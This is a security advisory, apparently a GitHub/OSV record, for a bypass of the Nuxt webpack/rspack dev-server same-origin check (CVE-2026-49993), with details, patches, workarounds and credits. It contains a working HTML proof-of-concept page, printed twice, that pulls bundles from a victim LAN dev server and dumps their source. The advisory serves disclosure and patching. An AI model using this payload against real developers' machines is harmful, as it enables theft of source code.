GHSA-X6QJ-4H56-5RJ5
Vulnerability from github – Published: 2026-06-16 23:39 – Updated: 2026-06-16 23:39Summary
This is an incomplete fix for GHSA-6m52-m754-pw2g. Source code may still be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.
Details
The fix for GHSA-6m52-m754-pw2g added an Origin / Referer fallback to the dev-middleware same-origin check, with a return true branch when neither header is present so that non-browser clients (curl, the HMR client, address-bar navigation) keep working.
That fallback is bypassed when a cross-origin attacker request reaches the dev server with all three signal headers absent:
Sec-Fetch-Siteis not sent by browsers to non-potentially-trustworthy destinations (HTTP on a non-loopback address).Originis not sent on non-CORS subresource fetches (a bare<script>with nocrossorigin).Referercan be suppressed by the attacker page with<meta name="referrer" content="no-referrer">orreferrerpolicy="no-referrer"on the<script>element.
A classic <script src="http://VICTIM_LAN_IP:3000/_nuxt/app.js" referrerpolicy="no-referrer"> from a non-trustworthy attacker origin produces exactly that header set, the request is allowed, and the attacker page can read the built source out of window.webpackChunk* via Function.prototype.toString().
Since the attack requires the dev server to be reachable via a non-potentially-trustworthy origin, only apps using --host (or --host 0.0.0.0) are affected. Chrome 142+ users are also protected by Local Network Access restrictions.
PoC
- Create a Nuxt project with the webpack / rspack builder.
- Run
npm run dev -- --host 0.0.0.0. - Open
http://localhost:3000on the developer machine. - From a different LAN host, serve the page below and open it in the same browser.
- The compiled module source is exfiltrable from
window.webpackChunknuxt_<projectname>.
<!doctype html>
<meta name="referrer" content="no-referrer">
<script>
['/_nuxt/runtime.js', '/_nuxt/app.js'].forEach(p => {
const s = document.createElement('script')
s.src = 'http://VICTIM_LAN_IP:3000' + p
s.referrerPolicy = 'no-referrer'
document.head.appendChild(s)
})
setTimeout(() => {
const key = Object.keys(window).find(k => k.startsWith('webpackChunk'))
for (const [, mods] of window[key]) {
for (const id in mods) {
console.log(id, mods[id].toString())
}
}
}, 1500)
</script>
Impact
Users using the webpack / rspack builder with nuxt dev --host may get the built source code read by malicious websites on the same network, including module identifiers, the developer's local filesystem path, and any developer-controlled strings inlined into the bundle.
This vulnerability does not affect Chrome 142+ (and other Chromium-based browsers) users due to Local Network Access restrictions.
The default Vite builder is not affected.
Patches
Fixed in @nuxt/webpack-builder@4.4.7 / @nuxt/rspack-builder@4.4.7 and backported to @nuxt/webpack-builder@3.21.7 / @nuxt/rspack-builder@3.21.7 by #35200 (4.x: commit e351de94; 3.x: commit 77187ee4). The dev-middleware same-origin check now treats a request with no Sec-Fetch-Site, no Origin, and no Referer as same-origin only when the dev server is loopback-bound, closing the header-suppression bypass.
The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.
Workarounds
If you cannot upgrade immediately:
- Don't use
nuxt dev --host. Bind the dev server tolocalhost(the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks. - Use Chrome 142+ or another Chromium-based browser that enforces Local Network Access restrictions.
- Switch to the Vite builder for development.
Credit
Reported by Berkan SAL (@Uhudsavasindankacanokcu2) via the Vercel Open Source HackerOne program.
Independently reported by @DavidCarliez via GitHub's coordinated disclosure flow (GHSA-xw96-2f5x-v9pv), closed as a duplicate of this advisory.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nuxt/webpack-builder"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@nuxt/webpack-builder"
},
"ranges": [
{
"events": [
{
"introduced": "3.15.4"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@nuxt/rspack-builder"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@nuxt/rspack-builder"
},
"ranges": [
{
"events": [
{
"introduced": "3.15.4"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49993"
],
"database_specific": {
"cwe_ids": [
"CWE-749"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T23:39:16Z",
"nvd_published_at": "2026-06-12T14:16:32Z",
"severity": "MODERATE"
},
"details": "### Summary\nThis is an incomplete fix for [GHSA-6m52-m754-pw2g](https://github.com/nuxt/nuxt/security/advisories/GHSA-6m52-m754-pw2g). Source code may still be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. `nuxt dev --host`) and the developer opens a malicious site on the same network.\n\n### Details\nThe fix for [GHSA-6m52-m754-pw2g](https://github.com/nuxt/nuxt/security/advisories/GHSA-6m52-m754-pw2g) added an `Origin` / `Referer` fallback to the dev-middleware same-origin check, with a `return true` branch when neither header is present so that non-browser clients (curl, the HMR client, address-bar navigation) keep working.\n\nThat fallback is bypassed when a cross-origin attacker request reaches the dev server with all three signal headers absent:\n\n- `Sec-Fetch-Site` is [not sent by browsers to non-potentially-trustworthy destinations](https://w3c.github.io/webappsec-fetch-metadata/#sec-fetch-site-header) (HTTP on a non-loopback address).\n- `Origin` is not sent on non-CORS subresource fetches (a bare `\u003cscript\u003e` with no `crossorigin`).\n- `Referer` can be suppressed by the attacker page with `\u003cmeta name=\"referrer\" content=\"no-referrer\"\u003e` or `referrerpolicy=\"no-referrer\"` on the `\u003cscript\u003e` element.\n\nA classic `\u003cscript src=\"http://VICTIM_LAN_IP:3000/_nuxt/app.js\" referrerpolicy=\"no-referrer\"\u003e` from a non-trustworthy attacker origin produces exactly that header set, the request is allowed, and the attacker page can read the built source out of `window.webpackChunk*` via `Function.prototype.toString()`.\n\nSince the attack requires the dev server to be reachable via a non-potentially-trustworthy origin, only apps using `--host` (or `--host 0.0.0.0`) are affected. Chrome 142+ users are also protected by [Local Network Access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).\n\n### PoC\n1. Create a Nuxt project with the webpack / rspack builder.\n1. Run `npm run dev -- --host 0.0.0.0`.\n1. Open `http://localhost:3000` on the developer machine.\n1. From a different LAN host, serve the page below and open it in the same browser.\n1. The compiled module source is exfiltrable from `window.webpackChunknuxt_\u003cprojectname\u003e`.\n\n```html\n\u003c!doctype html\u003e\n\u003cmeta name=\"referrer\" content=\"no-referrer\"\u003e\n\u003cscript\u003e\n [\u0027/_nuxt/runtime.js\u0027, \u0027/_nuxt/app.js\u0027].forEach(p =\u003e {\n const s = document.createElement(\u0027script\u0027)\n s.src = \u0027http://VICTIM_LAN_IP:3000\u0027 + p\n s.referrerPolicy = \u0027no-referrer\u0027\n document.head.appendChild(s)\n })\n setTimeout(() =\u003e {\n const key = Object.keys(window).find(k =\u003e k.startsWith(\u0027webpackChunk\u0027))\n for (const [, mods] of window[key]) {\n for (const id in mods) {\n console.log(id, mods[id].toString())\n }\n }\n }, 1500)\n\u003c/script\u003e\n```\n\n### Impact\nUsers using the webpack / rspack builder with `nuxt dev --host` may get the built source code read by malicious websites on the same network, including module identifiers, the developer\u0027s local filesystem path, and any developer-controlled strings inlined into the bundle.\n\nThis vulnerability does not affect Chrome 142+ (and other Chromium-based browsers) users due to [Local Network Access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).\n\nThe default Vite builder is not affected.\n\n### Patches\nFixed in `@nuxt/webpack-builder@4.4.7` / `@nuxt/rspack-builder@4.4.7` and backported to `@nuxt/webpack-builder@3.21.7` / `@nuxt/rspack-builder@3.21.7` by [#35200](https://github.com/nuxt/nuxt/pull/35200) (4.x: commit [`e351de94`](https://github.com/nuxt/nuxt/commit/e351de943e82db16970618b60dc7fdbaa58630f3); 3.x: commit [`77187ee4`](https://github.com/nuxt/nuxt/commit/77187ee4015e9267fb464951542a3e09e8b5fa05)). The dev-middleware same-origin check now treats a request with no `Sec-Fetch-Site`, no `Origin`, and no `Referer` as same-origin only when the dev server is loopback-bound, closing the header-suppression bypass.\n\nThe fix only ships for the `@nuxt/webpack-builder` and `@nuxt/rspack-builder` packages. The default Vite builder was not affected.\n\n### Workarounds\nIf you cannot upgrade immediately:\n\n- Don\u0027t use `nuxt dev --host`. Bind the dev server to `localhost` (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks.\n- Use Chrome 142+ or another Chromium-based browser that enforces [Local Network Access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).\n- Switch to the Vite builder for development.\n\n### Credit\nReported by Berkan SAL ([@Uhudsavasindankacanokcu2](https://github.com/Uhudsavasindankacanokcu2)) via the Vercel Open Source HackerOne program.\n\nIndependently reported by [@DavidCarliez](https://github.com/DavidCarliez) via GitHub\u0027s coordinated disclosure flow (`GHSA-xw96-2f5x-v9pv`), closed as a duplicate of this advisory.",
"id": "GHSA-x6qj-4h56-5rj5",
"modified": "2026-06-16T23:39:17Z",
"published": "2026-06-16T23:39:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-6m52-m754-pw2g"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-x6qj-4h56-5rj5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49993"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/pull/35200"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/77187ee4015e9267fb464951542a3e09e8b5fa05"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/e351de943e82db16970618b60dc7fdbaa58630f3"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuxt/nuxt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@nuxt/webpack-builder and @nuxt/rspack-builder dev server same-origin check bypassed when Sec-Fetch-Site, Origin, and Referer are all absent (incomplete fix for GHSA-6m52-m754-pw2g)"
}
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Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
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- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
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